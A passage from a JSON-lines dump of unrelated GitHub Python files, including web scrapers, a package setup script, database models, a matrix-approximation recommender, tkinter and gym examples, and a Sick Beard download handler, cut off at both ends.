self.get_data_by_xpath(li,'.//a[@class=\"shop-branch\"]/text()')\n item['是否分店'] = '��' if '/'not in is_divided else '否'\n item['详情页'] = self.get_data_by_xpath(li,'./div[2]/div[1]/a[1]/@href')\n item_list.append(item)\n print(item)\n self.save_data_by_mongodb(item_list,'dianping','dp_detail_url')\n else:\n print('error')\n\n\n next_url = self.get_data_by_xpath(html,'//a[contains(text(),\"下一页\")]/@href')\n if next_url != '/':\n self.page += 1\n self.parse_list_url(next_url)\n else:\n print('已爬取{}页'.format(self.page))\n\n def parse_detail_url(self,item):\n rst = self.make_a_request(item['详情页'],'content')\n # print(rst)\n html = self.get_html_from_data(rst)\n if not html:\n self.parse_detail_url(item)\n print('重试')\n return\n \n item['店名'] = self.get_data_by_xpath(html, '//*[@id=\"basic-info\"]/h1/text()')\n if item['店名'] == '/':\n print('重试')\n self.parse_detail_url(item)\n return\n item[\"城市\"] = self.get_data_by_xpath(html,'//a[@class=\"city J-city\"]/span[2]/text()')\n item['区域'] = self.get_data_by_xpath(html,'//div[@class=\"breadcrumb\"]/a[3]/text()')\n item['地址'] = self.get_data_by_xpath(html,'//span[@itemprop=\"street-address\"]/text()')\n item['联系方式'] = self.get_data_by_xpath(html,'//p[@class=\"expand-info tel\"]/span[2]/text()')\n\n item[\"营业时间\"] = self.get_data_by_xpath(html,'//p[@class=\"info info-indent\"]/span[2]/text()')\n\n item['人均消费'] = self.get_data_by_xpath(html,'//span[@id=\"avgPriceTitle\"]/text()')\n if ':' in item['人均消费']:\n item['人均消费'] = item['人均消费'].split(':')[1]\n item['评论数'] = self.get_data_by_xpath(html,'//span[@id=\"reviewCount\"]/text()')\n item['总分'] = self.get_data_by_xpath(html,'//div[@class=\"brief-info\"]/span[1]/@class')\n # print(item)\n if item['总分'] != '/':\n score = item['总分'].split(\"str\")[1]\n if len(score) == 1:\n final_score = 0.0\n else:\n final_score = score[0] + '.' + score[1]\n item['总分'] = final_score\n print(item)\n self.item_list.append(item)\n\n\n def save_urls(self,urls):\n\n with open('{}_urls.txt'.format(self.city),'a') as f:\n for url in urls:\n print(url)\n f.write(url)\n f.write('\\n')\n\n def run(self):\n pastTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') # 现在\n print('开始时间=>{}'.format(pastTime))\n client = MongoClient('localhost', 27017)\n db = client['dianping']['dp_detail_url']\n rst = db.find({}, {'_id': 0})\n for i in rst[:10000]:\n\n self.parse_detail_url(i)\n if len(self.item_list) == 500:\n self.save_data_by_mongodb(self.item_list, 'dianping', 'final_item')\n self.item_list = []\n nowTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') # 现在\n print('{}=>{}结束'.format(pastTime,nowTime))\n\n\nif __name__ == '__main__':\n dianping = DianPing()\n dianping.run()\n","repo_name":"caixin13/spiderProjects","sub_path":"DianPing/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34862581010","text":"DESCRIPTION = \"plasmid map viewer via matplotlib\"\nLONG_DESCRIPTION = \"\"\n\nDISTNAME = 'plasmidviewer'\nMAINTAINER = 'Hideto Mori'\nMAINTAINER_EMAIL = 'morityunasfc.keio.ac.jp/hidto7592agmail.com'\nURL = 'https://github.com/ponnhide/patchworklib'\nLICENSE = 'GNU General Public License v3.0'\nDOWNLOAD_URL = 'https://github.com/ponnhide/patchworklib'\nVERSION = '0.0.0'\nPYTHON_REQUIRES = \">=3.7\"\n\nINSTALL_REQUIRES = [\n 'matplotlib>=3.4',\n 'biopython>=1.78',\n]\n\n\nPACKAGES = [\n 'plasmidviewer'\n]\n\nCLASSIFIERS = [\n 'Intended Audience :: Science/Research',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'License :: OSI Approved :: GNU General Public License v3.0',\n 'Topic :: Bioinformatics',\n 'Operating System :: OS Independent',\n]\n\n\nif __name__ == \"__main__\":\n from setuptools import setup\n import sys\n if sys.version_info[:2] < (3, 7):\n raise RuntimeError(\"patchworklib requires python >= 3.7.\")\n\n setup(\n name=DISTNAME,\n author=MAINTAINER,\n author_email=MAINTAINER_EMAIL,\n maintainer=MAINTAINER,\n maintainer_email=MAINTAINER_EMAIL,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n license=LICENSE,\n url=URL,\n version=VERSION,\n download_url=DOWNLOAD_URL,\n python_requires=PYTHON_REQUIRES,\n install_requires=INSTALL_REQUIRES,\n packages=PACKAGES,\n classifiers=CLASSIFIERS\n )\n","repo_name":"ponnhide/plasmidviewer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"17745914455","text":"from sqlalchemy import Table, Column, Integer, String, MetaData, ForeignKey\n\nmetadata = MetaData()\n\nclass Account:\n def __init__(self, account_id, firebase_uid,name, address, phone, balance, device_token):\n self.account_id = account_id\n self.firebase_uid = firebase_uid\n self.balance = balance\n self.name = name\n self.address = address\n self.phone = phone\n self.device_token = device_token\n\n def __eq__(self,other):\n return self.firebase_uid == other.firebase_uid and self.account_no == other.account_no and self.balance == other.balance and self.name == other.name and self.address == other.address and self.phone == other.phone and self.device_token == other.device_token\n\n def serialize(self):\n return self.__dict__\n\nclass Transaction:\n def __init__(self, transaction_id, sender_account_no, receiver_account_no,amount):\n self.transaction_id = transaction_id\n self.sender_account_no = sender_account_no\n self. receiver_account_no = receiver_account_no\n self.amount = amount\n \n def __eq__(self,other):\n return \\\n self.firebase_uid == other.firebase_uid and \\\n self.sender_account_no == other.sender_account_no and \\\n self.amount == other.amount and \\\n self.amount == other.amount\n \n def serialize(self):\n return self.__dict__\n\naccount_model = Table(\n 'account', metadata,\n Column('account_id', Integer, primary_key=True),\n Column('firebase_uid', String), \n Column('name', String), \n Column('address', String), \n Column('phone', String), \n Column('balance', Integer),\n Column('device_token', Integer)\n)\n\ntransaction_model = Table(\n 'transaction', metadata, \n Column('transaction_id', Integer, primary_key=True),\n Column('sender_account_uid', String),\n Column('receiver_account_uid', String),\n Column('amount', Integer)\n)\n\ndef create_payment_model(engine):\n metadata.create_all(engine)","repo_name":"13516016/ChrysusAPI","sub_path":"payment/payment_model.py","file_name":"payment_model.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32501939224","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import mean_squared_error\r\n\r\ndata=pd.read_csv('ratings.csv').drop(columns=['timestamp'])\r\ndata=data.rename(columns={'userId':0,'movieId':1,'rating':2})\r\ndata=data.iloc[:10000]\r\ndata=data.sample(frac=1).reset_index(drop=True)\r\ntestlen=2000\r\ntrainlen=8000\r\n\r\ntrain=data.iloc[:trainlen]\r\ntest=data.iloc[trainlen:].reset_index(drop=True)\r\nusers=max(data[0])\r\nmovies=max(data[1])\r\ntrain_matrix=np.zeros(((users,movies)))\r\n\r\n\r\nfor i in range(trainlen):\r\n train_matrix[train.iloc[i,0]-1][train.iloc[i,1]-1]=train.iloc[i,2]\r\n\r\n\r\ndef k_rank_approx(k,matrix): \r\n u,s,v_t = np.linalg.svd(matrix,full_matrices=False) \r\n if k>=len(s):\r\n return matrix\r\n else:\r\n u_n=u[:,:k]\r\n s_n=np.diag(s[:k])\r\n v_n=v_t[:k,:]\r\n c=np.matmul(u_n,np.matmul(s_n,v_n))\r\n return c\r\n\r\nerror=[]\r\nfor k in range(1,101):\r\n print(k)\r\n approx=k_rank_approx(k,train_matrix)\r\n e=0\r\n for i in range(testlen):\r\n e+=(test.iloc[i,2]-approx[test.iloc[i,0]-1][test.iloc[i,1]-1])**2\r\n error.append(e)\r\n\r\nuser={}\r\nmovie={}\r\nfor i in range(trainlen):\r\n if train.iloc[i,0] in user:\r\n stat=user[train.iloc[i,0]]\r\n user[train.iloc[i,0]]=[stat[0]+train.iloc[i,2],stat[1]+1]\r\n else:\r\n user[train.iloc[i,0]]=[train.iloc[i,2],1]\r\n if train.iloc[i,1] in movie:\r\n stat=movie[train.iloc[i,1]]\r\n movie[train.iloc[i,1]]=[stat[0]+train.iloc[i,2],stat[1]+1]\r\n else:\r\n movie[train.iloc[i,1]]=[train.iloc[i,2],1]\r\n\r\n\r\nfor i in user:\r\n stat=user[i]\r\n user[i]=stat[0]/stat[1]\r\nfor i in movie:\r\n stat=movie[i]\r\n movie[i]=stat[0]/stat[1]\r\nbaseline=[]\r\nfor i in range(trainlen):\r\n baseline.append([user[train.iloc[i,0]],movie[train.iloc[i,1]],train.iloc[i,2]])\r\nbaseline= np.array(baseline)\r\n\r\ntesting=[]\r\nactual=[]\r\nfor i in range(testlen):\r\n a=0\r\n b=0\r\n if test.iloc[i,0] in user:\r\n a=user[test.iloc[i,0]]\r\n if test.iloc[i,1] in movie:\r\n b=movie[test.iloc[i,1]]\r\n testing.append([a,b])\r\n actual.append(test.iloc[i,2])\r\n\r\n\r\ntesting=np.array(testing)\r\nlr_model=LinearRegression(fit_intercept=False)\r\nlr_model.fit(baseline[:,:2],baseline[:,2])\r\npredicted=lr_model.predict(testing)\r\nerror_baseline=mean_squared_error(predicted,actual)*len(actual)\r\n\r\n\r\nplt.figure(1)\r\nplt.plot([i+1 for i in range(100)],[error_baseline for i in range(100)], color='blue',label='Baseline')\r\nplt.plot([i+1 for i in range(100)],[error[i] for i in range(100)], color='orange',label='Low rank approx.')\r\nplt.title('error vs k (Low Rank Approx) w/ Baseline error')\r\nplt.xlabel('k')\r\nplt.ylabel('error')\r\nplt.legend()\r\nplt.show()\r\nplt.close()\r\n","repo_name":"harshitkumar825/HW2_18110063","sub_path":"Q5_code.py","file_name":"Q5_code.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"228951974","text":"import sys, os\nimport codecs \nimport re\n\n\n\ndata_file_path = \"/Users/michaelyao/dev/data/gamedata/data\"\n\nitemtrade_union_file = os.path.join(data_file_path, \"dn_itemtrade_3m_union_utf-8.txt\" )\ntrade_union_pickle = os.path.join(data_file_path, \"dn_itemtrade_3m_union_utf-8.pkl.xz\" )\nesale_deposit_his = os.path.join(data_file_path, \"esale_deposit_his_utf-8.txt\")\ndn_character = os.path.join(data_file_path, \"dn_character_his_3m_utf-8.txt\")\npt_id_file_path = os.path.join(data_file_path, \"pt_id_v2_uft-8.csv\")\n# _surrogates = re.compile(r\"[\\uDC80-\\uDCFF]\")\n\n# def detect_decoding_errors_line(l, _s=_surrogates.finditer):\n# \"\"\"Return decoding errors in a line of text\n\n# Works with text lines decoded with the surrogateescape\n# error handler.\n\n# Returns a list of (pos, byte) tuples\n\n# \"\"\"\n# # DC80 - DCFF encode bad bytes 80-FF\n# return [(m.start(), bytes([ord(m.group()) - 0xDC00]))\n# for m in _s(l)]\n\n\n# with open(stable_by, encoding=\"gb18030\", errors=\"surrogateescape\") as f:\n# for i, line in enumerate(f, 1):\n# errors = detect_decoding_errors_line(line)\n# if errors:\n# newlist = re.sub(_surrogates,\"\", line)\n# print(f\"{i}: {newlist}\")\n# print(f\"Found errors on line {i}:\")\n# for (col, b) in errors:\n# print(f\" {col + 1:2d}: {b[0]:02x}\")\n# else:\n# line = line.strip(' \\n\\r')\n# #print(f\"{i}: {line}\")\n\n\n# Modern way to open files. The closing in handled cleanly\nwith open(dn_character, mode='r', encoding=\"utf-8\", errors=\"ignore\") as char_file, \\\n open( pt_id_file_path, mode='w', encoding=\"utf-8\") as pt_id_file:\n\n # A file is iterable\n # We can read each line with a simple for loop\n count = 0\n for line in char_file:\n count += 1\n line = line.strip(\"\\n\\r \")\n if (count % 10000 == 0):\n print(f\"{count} are processed.\")\n print(line)\n fields = line.split(\",\")\n out_line = f\"{fields[2]},{fields[3]}\"\n pt_id_file.write(f\"{out_line}\\n\")\n\n","repo_name":"jesse11883/gamedata","sub_path":"process_join.py","file_name":"process_join.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8837780575","text":"import calendar\nimport random\nfrom datetime import datetime\n\n\ndef greetings(name):\n return random.choice([\n \"Hola ¿que tal?\",\n \"Buenos dias/tardes\",\n \"Buenas\",\n \"Hola {}\".format(name),\n \"Konnichiha {}-san\".format(name),\n ])\n\n\ndef before_day(day):\n if day == 'miercoles':\n return \"espero que tengan un excelente dia de mier...coles\"\n return random.choice([\n \"como esta en este \" + day,\n \"espero que tenga un excelente \" + day,\n \"que le parece este \" + day,\n \"hoy es \" + day,\n ])\n\n\ndef weekday(day):\n return {\n 0: 'lunes',\n 1: 'martes',\n 2: 'miercoles',\n 3: 'jueves',\n 4: 'viernes',\n }[day]\n\n\ndef joke(day):\n if day == 'jueves':\n habla = \"Hoy es dia de conbeber jeje\"\n elif day == 'viernes':\n habla = \"hoy es viernes e el cuerpo lo sabe :D\"\n else:\n phrases = [\n \"¿Mucho frio/calor ahi?\",\n \"Aquí Faro es el amo. :D\",\n \"¿Como esta el tiempo ahi?\",\n \"Aca sigue caliente como siempre :/\",\n ]\n habla = random.choice(phrases)\n return habla\n\n\ndef main(name):\n calendar.setfirstweekday(calendar.SUNDAY)\n now = datetime.now()\n\n weekd = weekday(calendar.weekday(now.year, now.month, now.day))\n msg = \"{}. {}. {}\".format(greetings(name), before_day(weekd), joke(weekd))\n msg = random.choice([msg, 'Oi internautas!', msg, 'Bem-vindos! Bem-vindos ao restaurante do seu Shitaki. Ok?'])\n return msg\n","repo_name":"lucasrcezimbra/skypebot","sub_path":"skypebot/actions/hola.py","file_name":"hola.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39636271145","text":"# Author: Tyler Fenby <tylerfenby@gmail.com>\n# URL: http://code.google.com/p/sickbeard/\n#\n# This file is part of Sick Beard.\n#\n# Sick Beard is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Sick Beard is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n\nfrom __future__ import with_statement\n\nimport sickbeard\nfrom sickbeard import logger\nfrom sickbeard import exceptions\nfrom sickbeard import show_name_helpers\nfrom sickbeard import helpers\nfrom sickbeard import search_queue\nfrom sickbeard import failed_history\nfrom sickbeard import scene_exceptions\n\nfrom sickbeard.name_parser.parser import NameParser, InvalidNameException\n\n\nclass FailedProcessor(object):\n \"\"\"Take appropriate action when a download fails to complete\"\"\"\n\n def __init__(self, dirName, nzbName):\n \"\"\"\n dirName: Full path to the folder of the failed download\n nzbName: Full name of the nzb file that failed\n \"\"\"\n self.dir_name = dirName\n self.nzb_name = nzbName\n\n self._show_obj = None\n\n self.log = \"\"\n\n def process(self):\n self._log(u\"Failed download detected: (\" + str(self.nzb_name) + \", \" + str(self.dir_name) + \")\")\n\n releaseName = show_name_helpers.determineReleaseName(self.dir_name, self.nzb_name)\n if releaseName is None:\n self._log(u\"Warning: unable to find a valid release name.\", logger.WARNING)\n raise exceptions.FailedProcessingFailed()\n\n parser = NameParser(False)\n try:\n parsed = parser.parse(releaseName)\n except InvalidNameException:\n self._log(u\"Error: release name is invalid: \" + releaseName, logger.WARNING)\n raise exceptions.FailedProcessingFailed()\n\n logger.log(u\"name_parser info: \", logger.DEBUG)\n logger.log(u\" - \" + str(parsed.series_name), logger.DEBUG)\n logger.log(u\" - \" + str(parsed.season_number), logger.DEBUG)\n logger.log(u\" - \" + str(parsed.episode_numbers), logger.DEBUG)\n logger.log(u\" - \" + str(parsed.extra_info), logger.DEBUG)\n logger.log(u\" - \" + str(parsed.release_group), logger.DEBUG)\n logger.log(u\" - \" + str(parsed.air_date), logger.DEBUG)\n\n show_id = self._get_show_id(parsed.series_name)\n if show_id is None:\n self._log(u\"Warning: couldn't find show ID\", logger.WARNING)\n raise exceptions.FailedProcessingFailed()\n\n self._log(u\"Found show_id: \" + str(show_id), logger.DEBUG)\n\n self._show_obj = helpers.findCertainShow(sickbeard.showList, show_id)\n if self._show_obj is None:\n self._log(u\"Could not create show object. Either the show hasn't been added to SickBeard, or it's still loading (if SB was restarted recently)\", logger.WARNING)\n raise exceptions.FailedProcessingFailed()\n\n # Revert before fail, as fail alters the history\n self._log(u\"Reverting episodes...\")\n self.log += failed_history.revertEpisodes(self._show_obj, parsed.season_number, parsed.episode_numbers)\n self._log(u\"Marking release as bad: \" + releaseName)\n self.log += failed_history.logFailed(releaseName)\n\n cur_backlog_queue_item = search_queue.FailedQueueItem(self._show_obj, parsed.season_number)\n sickbeard.searchQueueScheduler.action.add_item(cur_backlog_queue_item)\n\n return True\n\n def _log(self, message, level=logger.MESSAGE):\n \"\"\"Log to regular logfile and save for return for PP script log\"\"\"\n logger.log(message, level)\n self.log += message + \"\\n\"\n\n def _get_show_id(self, series_name):\n \"\"\"Find and return show ID by searching exceptions, then DB\"\"\"\n\n show_names = show_name_helpers.sceneToNormalShowNames(series_name)\n\n logger.log(u\"show_names: \" + str(show_names), logger.DEBUG)\n\n for show_name in show_names:\n exception = scene_exceptions.get_scene_exception_by_name(show_name)\n if exception is not None:\n return exception\n\n for show_name in show_names:\n found_info = helpers.searchDBForShow(show_name)\n if found_info is not None:\n return(found_info[0])\n\n return None\n","repo_name":"xbianonpi/Sick-Beard-TPB","sub_path":"sickbeard/failedProcessor.py","file_name":"failedProcessor.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"32"} +{"seq_id":"8609437150","text":"# def adds(*args):\n \n# print(args[1])\n# sum = 0\n# for num in args:\n# sum += num\n\n# print(sum)\n\n# adds(1, 2, 3, 4)\n\n# def calc(n, **kwargs):\n# print(kwargs)\n# n += kwargs[\"add\"]\n# n *= kwargs[\"multiply\"]\n \n# print(n)\n\n\n# calc(3, add = 2, multiply = 4)\n\n\nclass Car:\n def __init__(self, **kwargs):\n self.make = kwargs.get(\"make\")\n self.model = kwargs.get(\"model\")\n self.colour = kwargs.get(\"colour\")\n\ncar = Car(make = \"merc\", model = \"abc\")\nprint(car.colour)\n\n\n\nimport tkinter\n\nwindow = tkinter.Tk()\nwindow.title(\"first GUI program\")\nwindow.minsize(height = 300, width = 500)\n\nmy_label = tkinter.Label(text = \"I am a label\", font = (\"Arial\", 24, \"bold\"))\nmy_label.pack()\n\n\n\ndef button_clicked():\n my_label.config(text = \"I got clicked\")\n\nbutton = tkinter.Button(text = \"click me\", command = button_clicked)\nbutton.pack()\n\n\ninput = tkinter.Entry(width =20)\ninput.insert(tkinter.END, string = \"Some default text\")\nprint(input.get())\ninput.pack()\n\n\ntext = tkinter.Text(height = 6, width = 25)\ntext.focus()\ntext.insert(tkinter.END, \"Example of a multiline text box\")\nprint(text.get(\"1.2\", tkinter.END))\ntext.pack()\n\n\ndef spinbox_used():\n print(spinbox.get())\n\nspinbox = tkinter.Spinbox(from_ = 0, to = 10, width = 5, command = spinbox_used)\nspinbox.pack()\n\n\ndef scale_used(value):\n print(value)\n\nscale = tkinter.Scale(from_ = 0, to = 100, command = scale_used)\nscale.pack()\n\n\ndef checkbutton_used():\n print(checked_state.get())\n\nchecked_state = tkinter.IntVar()\ncheckbutton = tkinter.Checkbutton(text = \"Is On?\", variable = checked_state, command = checkbutton_used)\nchecked_state.get()\ncheckbutton.pack()\n\n\ndef radio_used():\n print(radio_state.get())\n\nradio_state = tkinter.IntVar()\nradiobutton1 = tkinter.Radiobutton(text = \"Opt1\", value = 1, variable = radio_state, command = radio_used)\nradiobutton2 = tkinter.Radiobutton(text = \"Opt2\", value = 2, variable = radio_state, command = radio_used)\nradiobutton1.pack()\nradiobutton2.pack()\n\ndef listbox_used(event):\n print(listbox.get(listbox.curselection()))\n\nlistbox = tkinter.Listbox(height = 4)\nfruits = [\"apple\", \"Pear\", \"Banana\", \"Mango\"]\nfor item in fruits:\n listbox.insert(fruits.index(item), item)\nlistbox.bind(\"<<ListboxSelect>>\", listbox_used)\nlistbox.pack()\n\n\nwindow.mainloop() ","repo_name":"o-omki/100-Days-of-Code","sub_path":"days/21-30/day27/misc/playground.py","file_name":"playground.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12240590140","text":"\"\"\"\n test dummy vectorized environment class\n\"\"\"\n\nimport pytest\n\nimport gym\n\nfrom baselines.common.vec_env.dummy_vec_env import DummyVecEnv\n\n\ndef seed_env(env, seed):\n env.seed(seed)\n return lambda: env\n\n@pytest.mark.skip\n@pytest.mark.parametrize(\"env\", [\n gym.make('FrozenLake-v0'),\n gym.make('CartPole-v0')\n])\ndef test_init_dummy_vec_env(env):\n \"\"\"\n test instantiate a DummyVecEnv object\n \"\"\"\n num_envs = 5\n env_fns = [seed_env(env, i) for i in range(num_envs)]\n env = DummyVecEnv(env_fns)\n # 1) check environment properties\n print(env.num_envs)\n print(env.observation_space.shape)\n print(env.observation_space.dtype)\n print(env.action_space.shape)\n print(env.action_space.dtype)\n # 2) reset all environments\n # should return a dict of env_id: initial observation\n print(env.reset())\n # 3) step the environments synchronously\n # 4) step the environemnents asynchronously\n # 5) wait for environments to finish step asynchronously\n # 6) close all environments\n # 7) render all environments\n # 8) capture image from environments\n\n@pytest.mark.skip\n@pytest.mark.parametrize(\"env, num_envs\", [\n (gym.make('FrozenLake-v0'), 5),\n (gym.make('FrozenLake-v0'), 1),\n (gym.make('CartPole-v0'), 5),\n (gym.make('CartPole-v0'), 1),\n])\ndef test_step_async(env, num_envs):\n \"\"\"\n test asynchronous stepping environment\n \"\"\"\n env_fns = [seed_env(env, i) for i in range(num_envs)]\n env = DummyVecEnv(env_fns)\n actions = []\n for _ in range(num_envs):\n action = env.action_space.sample()\n actions.append(action)\n # pass to step_async as a single np.ndarray\n if num_envs == 1:\n print(env.step_async(action))\n print(env.step_async(actions))\n\n\n@pytest.mark.parametrize(\"env, num_envs\", [\n (gym.make('FrozenLake-v0'), 5),\n #(gym.make('FrozenLake-v0'), 1),\n (gym.make('CartPole-v0'), 5),\n #(gym.make('CartPole-v0'), 1),\n])\ndef test_step_wait(env, num_envs):\n \"\"\"\n test step_wait() returns\n \"\"\"\n env_fns = [seed_env(env, i) for i in range(num_envs)]\n env = DummyVecEnv(env_fns)\n actions = []\n for _ in range(num_envs):\n action = env.action_space.sample()\n actions.append(action)\n env.reset()\n env.step_async(actions)\n obs, rewards, dones, info = env.step_wait()\n print()\n print(\"observations: {}\".format(obs))\n print(\"rewards: {}\".format(rewards))\n print(\"dones: {}\".format(dones))\n print(\"info: {}\".format(info))\n\n\n\n","repo_name":"baihuaxie/drl-lib","sub_path":"baselines/common/vec_env/tests/test_dummy_vec_env.py","file_name":"test_dummy_vec_env.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15282816050","text":"n = int(input('Quantidade de números a exibir da sequência de Fibonnaci: '))\nprint('=' * 50)\nt1 = 0\nt2 = 1\nprint('{} -> {} -> '.format(t1, t2), end='')\ncont = 3\nwhile cont <= n:\n t3 = t1 + t2\n print('{} -> '.format(t3), end='')\n cont += 1\n t1 = t2\n t2 = t3\nprint('FIM')\n\n'''n = int(input('Quantidade de números a exibir da sequência de Fibonnaci [Mínímo 3]: '))\nif n >= 3:\n cont = n\n valor = 1\n valora = 0\n print('0, 1, ', end='')\n while cont > 2:\n if cont != 3:\n valor = valor + valora\n print('{}, '.format(valor), end='')\n valora = valor - valora\n cont -= 1\n else:\n valor = valor + valora\n print('{}'.format(valor), end='')\n valora = valor - valora\n cont -= 1\nelse:\n print('Opção inválida, programa encerrado!')\n'''\n","repo_name":"rrmagalhaes/python","sub_path":"cursoEmVideo/exercicios/scripts/desafio063.py","file_name":"desafio063.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69986960093","text":"from p2pool.util import math, memoize\n\nclass SkipList(object):\n def __init__(self, p=0.5):\n self.p = p\n \n self.skips = {}\n \n def forget_item(self, item):\n self.skips.pop(item, None)\n \n @memoize.memoize_with_backing(memoize.LRUDict(5))\n def __call__(self, start, *args):\n updates = {}\n pos = start\n sol = self.initial_solution(start, args)\n if self.judge(sol, args) == 0:\n return self.finalize(sol, args)\n while True:\n if pos not in self.skips:\n self.skips[pos] = math.geometric(self.p), [(self.previous(pos), self.get_delta(pos))]\n skip_length, skip = self.skips[pos]\n \n # fill previous updates\n for i in xrange(skip_length):\n if i in updates:\n that_hash, delta = updates.pop(i)\n x, y = self.skips[that_hash]\n assert len(y) == i\n y.append((pos, delta))\n \n # put desired skip nodes in updates\n for i in xrange(len(skip), skip_length):\n updates[i] = pos, None\n \n #if skip_length + 1 in updates:\n # updates[skip_length + 1] = self.combine(updates[skip_length + 1], updates[skip_length])\n \n for jump, delta in reversed(skip):\n sol_if = self.apply_delta(sol, delta, args)\n decision = self.judge(sol_if, args)\n #print pos, sol, jump, delta, sol_if, decision\n if decision == 0:\n return self.finalize(sol_if, args)\n elif decision < 0:\n sol = sol_if\n break\n else:\n raise AssertionError()\n \n sol = sol_if\n pos = jump\n \n # XXX could be better by combining updates\n for x in updates:\n updates[x] = updates[x][0], self.combine_deltas(updates[x][1], delta) if updates[x][1] is not None else delta\n \n def finalize(self, sol, args):\n return sol\n","repo_name":"p2pool/p2pool","sub_path":"p2pool/util/skiplist.py","file_name":"skiplist.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":1095,"dataset":"github-code","pt":"32"} +{"seq_id":"20533997417","text":"from copy import deepcopy\n\nfrom scrapy.spider import BaseSpider\nfrom scrapy.http import Request, HtmlResponse\nfrom scrapy.utils.response import get_base_url\nfrom scrapy.utils.url import urljoin_rfc, add_or_replace_parameter\n\nfrom product_spiders.items import Product, ProductLoader\n\nfrom product_spiders.utils import extract_price\n\nclass climaxtackle_spider(BaseSpider):\n name = 'climaxtackle.com'\n allowed_domains = ['climaxtackle.com', 'www.climaxtackle.com']\n start_urls = ('http://www.climaxtackle.com/by-manufacturer.html',)\n\n def parse(self, response):\n search_url = 'http://www.climaxtackle.com/catalogsearch/result/?cat=0'\n brands = set(response.xpath('//a[contains(@href, \"by-manufacturer/\")]/text()').extract())\n for brand in brands:\n url = add_or_replace_parameter(search_url, 'q', brand.encode('utf-8'))\n yield Request(url, callback=self.parse_brand,\n errback=lambda failure, url=url, retries=0, callback=self.parse_brand, item=None: self.retry(failure, url, retries, callback, item))\n\n def parse_brand(self, response):\n if not isinstance(response, HtmlResponse):\n return\n\n # pages\n pages_urls = response.xpath('//div[@class=\"pages\"]//a/@href').extract()\n for page in pages_urls:\n yield Request(page, callback=self.parse_brand,\n errback=lambda failure, url=response.urljoin(page), retries=0,\n callback=self.parse_brand, item=None: self.retry(failure, url, retries, callback, item))\n\n # products\n for p in self.parse_list(response):\n yield p\n\n def parse_list(self, response):\n products = response.xpath('//div[@class=\"item-inner\"]')\n for p in products:\n try:\n name = p.xpath('.//h2[@class=\"product-name\"]/a/text()').extract()[0].strip()\n except:\n continue\n if name:\n item = {}\n item['name'] = name\n item['url'] = p.xpath('.//h2[@class=\"product-name\"]/a/@href').extract()[0]\n try:\n item['price'] = extract_price(p.xpath('.//*[@class=\"price-box\"]//text()').re(r'[\\d\\.,]+')[0])\n except:\n self.log('WARNING: no price in %s' % response.url)\n continue\n image_url = p.xpath('.//a[@class=\"product-image\"]/img/@src').extract()\n if image_url:\n item['image_url'] = urljoin_rfc(get_base_url(response), image_url[0])\n\n yield Request(item['url'],\n callback=self.parse_product,\n meta={'product': item},\n errback=lambda failure, url=response.urljoin(item['url']), retries=0, callback=self.parse_product, item=item: self.retry(failure, url, retries, callback, item))\n\n def retry(self, failure, url, retries, callback, item):\n self.log('Error found while loading %s' % url)\n if retries < 10:\n self.log('Retrying loading %s' % url)\n yield Request(url, dont_filter=True, callback=callback,\n meta={'recache': True, 'product': item},\n errback=lambda failure, url=url, retries=retries + 1, callback=callback, item=item: self.retry(failure, url, retries, callback, item))\n else:\n self.log('Gave up retrying %s' % url)\n\n def parse_product(self, response):\n product = response.meta.get('product')\n\n loader = ProductLoader(item=Product(product), response=response)\n\n category = response.xpath('//div[@class=\"breadcrumbs\"]//li/a/text()').extract()\n category = category[-1] if category else ''\n\n loader = ProductLoader(item=Product(product), response=response)\n loader.add_value('category', category)\n\n product_brand = response.xpath('//tr[th/text()=\"Manufacturer\"]/td/text()').extract()\n\n loader.add_value('brand', product_brand)\n\n identifier = response.xpath('//input[@name=\"product\" and @value!=\"\"]/@value').extract()[0]\n loader.add_value('identifier', identifier)\n sku = response.xpath('//tr[th[contains(text(), \"Product\")]]/td/text()').extract()\n if not sku:\n sku = response.xpath('//tr[th[contains(text(), \"Model\")]]/td/text()').extract()\n sku = sku[0].strip() if sku else ''\n loader.add_value('sku', sku)\n\n new_item = loader.load_item()\n\n table_options = response.xpath('//table[@id=\"super-product-table\"]/tbody/tr')\n option_selector = response.xpath('//div[@class=\"product-options\"]//select')\n if table_options:\n for option in 